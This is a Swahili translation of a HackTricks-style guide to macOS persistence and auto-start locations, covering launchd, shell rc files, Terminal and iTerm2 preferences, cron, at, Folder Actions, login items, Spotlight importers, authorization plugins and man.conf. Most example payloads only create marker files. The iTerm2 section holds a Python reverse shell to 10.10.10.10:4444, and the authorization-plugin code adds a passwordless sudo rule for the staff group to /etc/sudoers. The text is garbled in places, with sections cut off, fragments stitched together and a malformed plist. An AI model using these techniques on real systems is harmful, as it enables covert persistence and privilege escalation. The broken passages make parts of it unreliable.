Njia nyingine za kusaidia HackTricks:

Sehemu hii inategemea sana safu ya blogu Zaidi ya LaunchAgents nzuri, lengo ni kuongeza Maeneo zaidi ya Kuanza Kiotomatiki (ikiwezekana), kuonyesha njia zipi bado zinafanya kazi leo na toleo la hivi karibuni la macOS (13.4) na kueleza ruhusa inayohitajika.

Kupuuza Sanduku la Mchanga

Hapa unaweza kupata maeneo ya kuanza yanayofaa kwa kupuuza sanduku la mchanga ambayo inakuruhusu tu kutekeleza kitu kwa kuandika kwenye faili na kungojea kwa kitendo cha kawaida sana, kiasi cha wakati kilichopangwa au kitendo unachoweza kawaida kufanya kutoka ndani ya sanduku la mchanga bila kuhitaji ruhusa ya msingi.

Launchd

  • Inafaa kwa kupuuza sanduku la mchanga: ✅

  • Kupuuza TCC: 🔴

Maeneo

  • /Library/LaunchAgents

  • Kitendo cha Kuanza: Reboot

  • Inahitaji Root

  • /Library/LaunchDaemons

  • Kitendo cha Kuanza: Reboot

  • Inahitaji Root

  • /System/Library/LaunchAgents

  • Kitendo cha Kuanza: Reboot

  • Inahitaji Root

  • /System/Library/LaunchDaemons

  • Kitendo cha Kuanza: Reboot

  • Inahitaji Root

  • ~/Library/LaunchAgents

  • Kitendo cha Kuanza: Kuingia tena

  • ~/Library/LaunchDemons

  • Kitendo cha Kuanza: Kuingia tena

Maelezo & Udukuzi

launchd ni mchakato wa kwanza unaoendeshwa na kernel ya OX S wakati wa kuanza na wa mwisho kumaliza wakati wa kuzima. Daima inapaswa kuwa na PID 1. Mchakato huu utasoma na kutekeleza mipangilio iliyotajwa katika plists ya ASEP katika:

  • /Library/LaunchAgents: Mawakala wa mtumiaji waliowekwa na msimamizi

  • /Library/LaunchDaemons: Daemons za mfumo zilizowekwa na msimamizi

  • /System/Library/LaunchAgents: Mawakala wa mtumiaji zinazotolewa na Apple.

  • /System/Library/LaunchDaemons: Daemons za mfumo zinazotolewa na Apple.

Wakati mtumiaji anapoingia, plists zilizoko katika /Users/$USER/Library/LaunchAgents na /Users/$USER/Library/LaunchDemons zinaanza na ruhusa za watumiaji walioingia.

Tofauti kuu kati ya mawakala na daemons ni kwamba mawakala hupakiwa wakati mtumiaji anaingia na daemons hupakiwa wakati wa kuanza kwa mfumo (kwa kuwa kuna huduma kama ssh ambayo inahitaji kutekelezwa kabla ya mtumiaji yeyote kupata ufikiaji wa mfumo). Pia mawakala wanaweza kutumia GUI wakati daemons wanahitaji kukimbia kwenye hali ya nyuma.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>

<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Kuna matukio ambapo mawakala anahitaji kutekelezwa kabla ya mtumiaji kuingia, haya huitwa PreLoginAgents. Kwa mfano, hii ni muhimu kutoa teknolojia ya msaada wakati wa kuingia. Wanaweza kupatikana pia katika /Library/LaunchAgents (ona hapa mfano).

Faili mpya za usanidi za Daemons au Agents zitapakia baada ya kuanza upya au kutumia launchctl load <target.plist> Pia ni inawezekana kupakia faili za .plist bila kuwa na kipengee hicho kwa kutumia launchctl -F <file> (hata hivyo faili hizo za plist hazitapakia moja kwa moja baada ya kuanza upya). Pia ni inawezekana kufuta kwa kutumia launchctl unload <target.plist> (mchakato ulionakiliwa na hiyo itakomeshwa),

Ili kudhibitisha kwamba hakuna kitu (kama kubadilisha) kinazuia Mwakala au Daemon kutekelezwa endesha: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

Orodhesha mawakala na daemons wote waliopakiwa na mtumiaji wa sasa:

launchctl list

Ikiwa plist inamilikiwa na mtumiaji, hata kama iko katika folda za mfumo wa daemuni, kazi itatekelezwa kama mtumiaji na si kama root. Hii inaweza kuzuia baadhi ya mashambulizi ya uongezaji wa mamlaka.

faili za kuanza kwa shell

Maelezo: https://theevilbit.github.io/beyond/beyond_0001/ Maelezo (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Inatumika kukiuka sanduku la mchanga: ✅

  • Kukiuka TCC: ✅

  • Lakini unahitaji kupata programu na kukiuka TCC ambayo inatekeleza shell ambayo inapakia faili hizi

Maeneo

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

  • Kitendo: Fungua terminal na zsh

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

  • Kitendo: Fungua terminal na zsh

  • Inahitaji ruhusa ya root

  • ~/.zlogout

  • Kitendo: Toka kwenye terminal na zsh

  • /etc/zlogout

  • Kitendo: Toka kwenye terminal na zsh

  • Inahitaji ruhusa ya root

  • Huenda kuna zaidi katika: man zsh

  • ~/.bashrc

  • Kitendo: Fungua terminal na bash

  • /etc/profile (haikufanya kazi)

  • ~/.profile (haikufanya kazi)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

  • Kitendo: Inatarajiwa kuzinduliwa na xterm, lakini haiko imewekwa na hata baada ya kuwekwa kosa hili linatokea: xterm: DISPLAY is not set

Maelezo & Utekaji

Wakati wa kuanzisha mazingira ya shell kama zsh au bash, faili za kuanza zinatekelezwa. macOS kwa sasa inatumia /bin/zsh kama shell ya msingi. Shell hii inafikiwa moja kwa moja wakati programu ya Terminal inazinduliwa au wakati kifaa kinapatawa kupitia SSH. Ingawa bash na sh pia zipo katika macOS, wanahitaji kuitwa wazi ili kutumika.

Ukurasa wa man wa zsh, ambao tunaweza kusoma kwa kutumia man zsh una maelezo marefu ya faili za kuanza.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Programu Zilizofunguliwa tena

Kuweka mazingira ya kutumia na kujiondoa na kuingia tena au hata kuzima haikufanya kazi kwangu kutekeleza programu. (Programu haikuwa inatekelezwa, labda inahitaji kuwa ikifanya kazi wakati hatua hizi zinatekelezwa)

Maelezo: https://theevilbit.github.io/beyond/beyond_0021/

  • Inatumika kukiuka sanduku la mchanga: ✅

  • Kukiuka TCC: 🔴

Mahali

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • Kichocheo: Kuanza upya kufungua tena programu

Maelezo na Utekaji

Programu zote za kufunguliwa tena ziko ndani ya plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Kwa hivyo, ili programu zilizofunguliwa tena ziweze kuzindua yako, unahitaji tu kuongeza programu yako kwenye orodha.

UUID inaweza kupatikana kwa kuorodhesha saraka hiyo au kwa kutumia ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Ili kuangalia programu zitakazofunguliwa tena unaweza kufanya:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Ili kuongeza programu kwenye orodha hii unaweza kutumia:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Mapendeleo ya Terminali

  • Inatumika kukiuka sanduku la mchanga: ✅

  • Kukiuka TCC: ✅

  • Matumizi ya Terminali kuwa na ruhusa za FDA za mtumiaji anayetumia

Mahali

  • ~/Library/Preferences/com.apple.Terminal.plist

  • Kichocheo: Fungua Terminal

Maelezo na Utekaji

Katika ~/Library/Preferences kuna mapendeleo ya mtumiaji katika Programu. Baadhi ya mapendeleo haya yanaweza kuwa na usanidi wa kutekeleza programu/zana nyingine.

Kwa mfano, Terminali inaweza kutekeleza amri wakati wa Kuanza:

Usanidi huu unajitokeza katika faili ~/Library/Preferences/com.apple.Terminal.plist kama ifuatavyo:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Jadi, ikiwa plist ya mapendeleo ya terminali katika mfumo inaweza kubadilishwa, basi kazi ya open inaweza kutumika kufungua terminali na amri hiyo itatekelezwa.

Unaweza kuongeza hii kutoka kwa cli kwa:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Skripti za Terminali / Vipengele vingine vya faili

  • Inatumika kukiuka sanduku la mchanga: ✅

  • Kukiuka TCC: ✅

  • Matumizi ya Terminali kuwa na ruhusa za FDA za mtumiaji anayetumia

Mahali

  • Mahali popote

  • Kichocheo: Fungua Terminali

Maelezo & Utekaji

Ikiwa utaunda skripti ya .terminal na kuifungua, programu ya Terminali itaitwa moja kwa moja kutekeleza amri zilizotajwa humo. Ikiwa programu ya Terminali ina ruhusa maalum (kama vile TCC), amri yako itatekelezwa na ruhusa hizo maalum.

Jaribu hili na:

Unaweza pia kutumia vifaa vya .command, .tool, na maudhui ya skripti za kawaida za shell na zitafunguliwa na Terminal.

Ikiwa terminal ina Upatikanaji Kamili wa Diski, itakuwa na uwezo wa kukamilisha hatua hiyo (kumbuka kwamba amri iliyotekelezwa itaonekana kwenye dirisha la terminal).

Kizuizi cha Sanduku la Mchanga Kwa Masharti

Hapa unaweza kupata maeneo ya kuanzia yanayofaa kwa kizuizi cha sanduku la mchanga ambacho kinakuwezesha kutekeleza kitu kwa kuandika kwenye faili na kutarajia hali sio za kawaida kama programu maalum zilizosanikishwa, hatua au mazingira ya mtumiaji "sio wa kawaida".

Cron

Maelezo: https://theevilbit.github.io/beyond/beyond_0004/

  • Inatumika kwa kizuizi cha sanduku la mchanga: ✅

  • Hata hivyo, unahitaji kuweza kutekeleza crontab binary

  • Au uwe root

  • Kizuizi cha TCC: 🔴

Mahali

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • Root inahitajika kwa ufikiaji wa kuandika moja kwa moja. Hakuna root inayohitajika ikiwa unaweza kutekeleza crontab <faili>

  • Kichocheo: Inategemea kazi ya cron

Maelezo & Utekaji

Pata orodha ya kazi za cron za mtumiaji wa sasa na:

crontab -l

Unaweza pia kuona kazi zote za cron za watumiaji katika /usr/lib/cron/tabs/ na /var/at/tabs/ (inahitaji ruhusa ya msingi).

Katika MacOS, folda kadhaa zinazotekeleza hati kwa frekwensi fulani zinaweza kupatikana katika:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Hapa ndipo unaweza kupata kazi za cron za kawaida, kazi za at (ambazo hazitumiwi sana) na kazi za kipindi (zinazotumiwa hasa kwa kusafisha faili za muda). Kazi za kipindi za kila siku zinaweza kutekelezwa kwa mfano na: periodic daily.

Kuongeza programu ya kazi ya cron ya mtumiaji kiotomatiki inawezekana kutumia:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Maelezo: https://theevilbit.github.io/beyond/beyond_0002/

  • Inatumika kwa kuzidi sandbox: ✅

  • Kizuizi cha TCC: ✅

  • iTerm2 hutumika kuwa na ruhusa za TCC zilizoidhinishwa

Maeneo

EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

Launch Agents

Launch Agents are used to run processes when a user logs in. They are located in ~/Library/LaunchAgents/ and /Library/LaunchAgents/.

Launch Daemons

Launch Daemons are used to run processes at system boot or login. They are located in /Library/LaunchDaemons/ and /System/Library/LaunchDaemons/.

Login Items

Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Skripti ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt pia itatekelezwa:

do shell script "touch /tmp/iterm2-autolaunchscpt"

Faili za mapendeleo ya iTerm2 zilizoko katika ~/Library/Preferences/com.googlecode.iterm2.plist zinaweza kuonyesha amri ya kutekeleza wakati terminali ya iTerm2 inapo funguliwa.

Mazingira haya yanaweza kusanidiwa katika mipangilio ya iTerm2:

Na amri inaonekana katika mapendeleo:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Unaweza kuweka amri ya kutekelezwa kwa:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Kuna uwezekano mkubwa wa kuwa kuna njia nyingine za kutumia mipangilio ya iTerm2 kutekeleza amri za kupindukia.

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • Kichocheo: Kuingia

  • Malipo ya utekelezaji yaliyohifadhiwa yanaita osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • Kichocheo: Kuingia

  • Inahitaji Mzizi

Maelezo

Katika Mapendeleo ya Mfumo -> Watumiaji & Vikundi -> Vitu vya Kuingia unaweza kupata vitengo vitakavyotekelezwa wakati mtumiaji anapoingia. Inawezekana kuziorodhesha, kuongeza na kuondoa kutoka kwenye mstari wa amri:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Hizi vitu hifadhiwa kwenye faili ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Vitu vya kuingia vinaweza pia kudhihirishwa kwa kutumia API SMLoginItemSetEnabled ambayo itahifadhi usanidi katika /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP kama Kipengee cha Kuingia

(Angalia sehemu iliyopita kuhusu Vitu vya Kuingia, hii ni nyongeza)

Ikiwa unahifadhi faili ya ZIP kama Kipengee cha Kuingia Archive Utility itaifungua na ikiwa zip ilihifadhiwa kwa mfano katika ~/Library na ilikuwa na Folda LaunchAgents/file.plist na mlango wa nyuma, folda hiyo itaundwa (haipo kwa chaguo-msingi) na plist itaongezwa ili wakati wa kuingia tena, mlango wa nyuma ulioonyeshwa kwenye plist utatekelezwa.

Chaguo lingine lingekuwa kuunda faili .bash_profile na .zshenv ndani ya nyumbani kwa mtumiaji hivyo ikiwa folda ya LaunchAgents tayari ipo hii mbinu bado itafanya kazi.

Kazi za at zinabuniwa kwa ajili ya kupanga kazi za mara moja zitekelezwe wakati fulani. Tofauti na kazi za cron, kazi za at zinaondolewa moja kwa moja baada ya utekelezaji. Ni muhimu kutambua kuwa kazi hizi ni thabiti kupitia kuanzishwa upya kwa mfumo, hivyo zinaweza kuwa na wasiwasi wa usalama chini ya hali fulani.

Kwa chaguo la msingi zimezimwa lakini mtumiaji wa root anaweza kuwawezesha kwa:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Hii itaunda faili ndani ya saa 1:

echo "echo 11 > /tmp/at.txt" | at now+1

Angalia foleni ya kazi kwa kutumia atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Hapo juu tunaweza kuona kazi mbili zilizopangwa. Tunaweza kuchapisha maelezo ya kazi kwa kutumia at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0

Ikiwa kazi za AT hazijawezeshwa, kazi zilizoundwa hazitafanyika.

Faili za kazi zinaweza kupatikana kwenye /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/

-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

Jina la faili lina orodha, nambari ya kazi, na wakati ambao imepangwa kufanya kazi. Kwa mfano, hebu tuangalie a0001a019bdcd2.

  • a - hii ni orodha

  • 0001a - nambari ya kazi katika hex, 0x1a = 26

  • 019bdcd2 - wakati katika hex. Inawakilisha dakika zilizopita tangu epoch. 0x019bdcd2 ni 26991826 katika decimal. Tukizidisha kwa 60 tunapata 1619509560, ambayo ni GMT: 2021. Aprili 27., Jumanne 7:46:00.

Ikiwa tunachapisha faili ya kazi, tunagundua ina taarifa ile ile tuliyopata kutumia at -c.

Vitendo vya Folda

Maelezo: https://theevilbit.github.io/beyond/beyond_0024/ Maelezo: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • Inatumika kukiuka sanduku la mchanga: ✅

  • Lakini unahitaji kuweza kuita osascript na hoja kuwasiliana na System Events ili uweze kusanidi Vitendo vya Folda

  • Kukiuka TCC: 🟠

  • Ina ruhusa za TCC za msingi kama Desktop, Documents na Downloads

Mahali

  • /Library/Scripts/Folder Action Scripts

  • Inahitaji mizizi

  • Kichocheo: Kufikia folda iliyotajwa

  • ~/Library/Scripts/Folder Action Scripts

  • Kichocheo: Kufikia folda iliyotajwa

Maelezo & Utekaji

Vitendo vya Folda ni hati zinazotumiwa moja kwa moja na mabadiliko katika folda kama vile kuongeza, kuondoa vitu, au vitendo vingine kama vile kufungua au kurekebisha dirisha la folda. Vitendo hivi vinaweza kutumika kwa kazi mbalimbali, na vinaweza kuchochewa kwa njia tofauti kama kutumia UI ya Finder au amri za terminali.

Kuanzisha Vitendo vya Folda, una chaguo kama:

  1. Kuunda mchakato wa Vitendo vya Folda na Automator na kuiweka kama huduma.

  2. Kuambatanisha hati kwa mkono kupitia Usanidi wa Vitendo vya Folda katika menyu ya muktadha ya folda.

  3. Kutumia OSAScript kutuma ujumbe wa Tukio la Apple kwa System Events.app kwa kusanidi Vitendo vya Folda kwa njia ya programu.

  • Mbinu hii ni muhimu hasa kwa kuingiza kitendo katika mfumo, kutoa kiwango cha uthabiti.

Hati ifuatayo ni mfano wa kile kinaweza kutekelezwa na Vitendo vya Folda:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Ili kufanya script iliyotajwa iweze kutumiwa na Matendo ya Folda, itaipasha kwa kutumia:

osacompile -l JavaScript -o folder.scpt source.js

Baada ya hati kutekelezwa, weka Matendo ya Folda kwa kutekeleza hati hii hapa chini. Hati hii itawezesha Matendo ya Folda kwa ujumla na kuambatanisha hati iliyokwishakutekelezwa hapo awali kwenye folda ya Desktop.

// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

Chukua script ya usanidi na:

osascript -l JavaScript /Users/username/attach.scpt

  • Hii ndio njia ya kutekeleza uthabiti huu kupitia GUI:

Hii ndio script itakayotekelezwa:

source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Kuikusanya na: osacompile -l JavaScript -o folder.scpt source.js

Hamisha kwa:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

Kisha, fungua programu ya Folder Actions Setup, chagua folda unayotaka kufuatilia na chagua kesi yako folder.scpt (kwa kesi yangu niliita output2.scp):

Sasa, ukifungua folda hiyo na Finder, script yako itatekelezwa.

Mipangilio hii ilihifadhiwa kwenye plist iliyoko katika ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist kwa muundo wa base64.

Sasa, jaribu kuandaa uthabiti huu bila ufikiaji wa GUI:

  1. Nakili ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist kwenda /tmp kwa kuihifadhi:

  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp

  1. Ondoa Matendo ya Folda uliyojiwekea tu:

Sasa tukiwa na mazingira yasiyo na kitu

  1. Nakili faili ya nakala: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/

  2. Fungua programu ya Folder Actions Setup.app ili kutumia mazingira haya: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

Na hii haikufanya kazi kwangu, lakini hizi ni maagizo kutoka kwenye andiko:(

Vielekezo vya Dock

Andiko: https://theevilbit.github.io/beyond/beyond_0027/

  • Inatumika kukiuka sanduku la mchanga: ✅

  • Kukiuka TCC: 🔴

Mahali

  • ~/Library/Preferences/com.apple.dock.plist

  • Kichocheo: Wakati mtumiaji anapobonyeza programu ndani ya dock

Maelezo & Utekaji

Programu zote zinazoonekana kwenye Dock zimetajwa ndani ya plist: ~/Library/Preferences/com.apple.dock.plist

Inawezekana kuongeza programu tu kwa:

# Add /System/Applications/Books.app

  • Kichocheo: Faili mpya yenye kificho kinachosimamiwa na kifaa cha Spotlight inaundwa.

  • Inahitajika programu mpya

Maelezo & Utekaji

Spotlight ni kipengele cha utaftaji kilichojengwa kwenye macOS, kimeundwa kutoa watumiaji na upatikanaji wa haraka na wa kina wa data kwenye kompyuta zao. Ili kurahisisha uwezo huu wa utaftaji wa haraka, Spotlight inaendeleza hifadhidata ya kipekee na kuunda indeksi kwa kuchambua faili nyingi, kuruhusu utaftaji wa haraka kupitia majina ya faili na maudhui yao.

Mfumo wa msingi wa Spotlight unajumuisha mchakato wa kati unaoitwa 'mds', ambao unamaanisha 'metadata server'. Mchakato huu unaratibu huduma nzima ya Spotlight. Kando na hilo, kuna 'mdworker' daemons kadhaa ambao hutekeleza majukumu mbalimbali ya matengenezo, kama vile kuunda indeksi za aina tofauti za faili (ps -ef | grep mdworker). Majukumu haya yanawezekana kupitia vifaa vya kuingiza vya Spotlight, au ".mdimporter bundles", ambavyo huwezesha Spotlight kuelewa na kuunda indeksi ya maudhui katika aina mbalimbali za faili.

Vifaa au mdimporter bundles vipo katika maeneo yaliyotajwa hapo awali na ikiwa kifurushi kipya kinatokea, kinapakiwa ndani ya dakika (hakuna haja ya kuanzisha upya huduma yoyote). Vifurushi hivi lazima viashirishe ni aina gani ya faili na vificho wanavyoweza kusimamia, kwa njia hii, Spotlight itavitumia wakati faili mpya yenye kificho kilichotajwa inapoundwa.

Inawezekana kupata mdimporters zote zilizopakiwa kwa kukimbia:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

Na kwa mfano /Library/Spotlight/iBooksAuthor.mdimporter hutumika kuchambua aina hizi za faili (nyongeza .iba na .book miongoni mwa zingine):

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

Ikiwa utachunguza Plist ya mdimporter nyingine huenda usipate kuingia UTTypeConformsTo. Hii ni kwa sababu ni Uniform Type Identifiers (UTI) iliyojengwa ndani na haitaji kutaja upanuzi.

Zaidi ya hayo, programu-jalizi za mfumo wa msingi daima zinachukua kipaumbele, hivyo mshambuliaji anaweza kupata ufikivu tu kwenye faili ambazo vinginevyo hazijachambuliwa na mdimporters za Apple.

Ili kuunda chombo chako cha kuingiza unaweza kuanza na mradi huu: https://github.com/megrimm/pd-spotlight-importer na kisha badilisha jina, CFBundleDocumentTypes na ongeza UTImportedTypeDeclarations ili iweze kusaidia upanuzi unayotaka kusaidia na uwakilishe katika schema.xml. Kisha badilisha nambari ya kazi GetMetadataForFile ili kutekeleza mzigo wako wakati faili yenye upanuzi uliochakatwa inapoundwa.

Hatimaye jenga na nakili chombo chako kipya cha .mdimporter kwa moja ya maeneo yaliyotangulia na unaweza kuangalia wakati wowote inapopakiwa kwa kufuatilia magogo au kucheki mdimport -L.

Hivyo itaonekana kama hivi:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

Na kwa hivyo jaribio lolote la kutumia sudo litafanya kazi.

Tafadhali elewa kuwa saraka hii inalindwa na TCC hivyo ni uwezekano mkubwa kwamba mtumiaji atapata ombi la kupewa ruhusa.

Viplaga vya Idhini

Maelezo: https://theevilbit.github.io/beyond/beyond_0028/ Maelezo: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • Inatumika kukiuka sanduku la mchanga: 🟠

  • Lakini unahitaji kuwa na ruhusa ya msingi na kufanya mipangilio ya ziada

  • Kukiuka TCC: ???

Mahali

  • /Library/Security/SecurityAgentPlugins/

  • Inahitaji kuwa na ruhusa ya msingi

  • Pia ni muhimu kusanidi hifadhidata ya idhini kutumia programu-jalizi

Maelezo & Utekaji

Unaweza kuunda programu-jalizi ya idhini ambayo itatekelezwa wakati mtumiaji anapoingia ili kudumisha uthabiti. Kwa maelezo zaidi kuhusu jinsi ya kuunda moja ya programu-jalizi hizi angalia maelezo ya awali (na uwe mwangalifu, moja isiyoundwa vizuri inaweza kukufunga nje na utahitaji kusafisha Mac yako kutoka kwa hali ya kupona).

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

Hamisha kifurushi hadi eneo litakalopakiwa:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

Hatimaye ongeza kanuni ya kupakia Plugin hii:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

evaluate-mechanisms itawaambia mfumo wa idhini kwamba itahitaji kuita kifaa cha nje kwa idhini. Zaidi ya hayo, privileged itahakikisha kuwa inatekelezwa na root.

Kuzindua:

security authorize com.asdf.asdf

Na kisha kikundi cha wafanyakazi kinapaswa kuwa na upatikanaji wa sudo (soma /etc/sudoers kuthibitisha).

Man.conf

Maelezo: https://theevilbit.github.io/beyond/beyond_0030/

  • Inatumika kwa kuzidi sandbox: 🟠

  • Lakini unahitaji kuwa na ruhusa ya mizizi na mtumiaji lazima atumie man

  • Kuzidi TCC: 🔴

Mahali

  • /private/etc/man.conf

  • Inahitaji mizizi

  • /private/etc/man.conf: Kila wakati man hutumiwa

Maelezo & Kudukua

Faili ya usanidi /private/etc/man.conf inaonyesha faili ya hati ya kufungua. Kwa hivyo njia ya kutekelezeka inaweza kubadilishwa ili wakati wowote mtumiaji anatumia man kusoma baadhi ya hati, mlango wa nyuma unatekelezwa.

Kwa mfano weka katika /private/etc/man.conf:

MANPAGER /tmp/view

Na kisha tengeneza /tmp/view kama:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

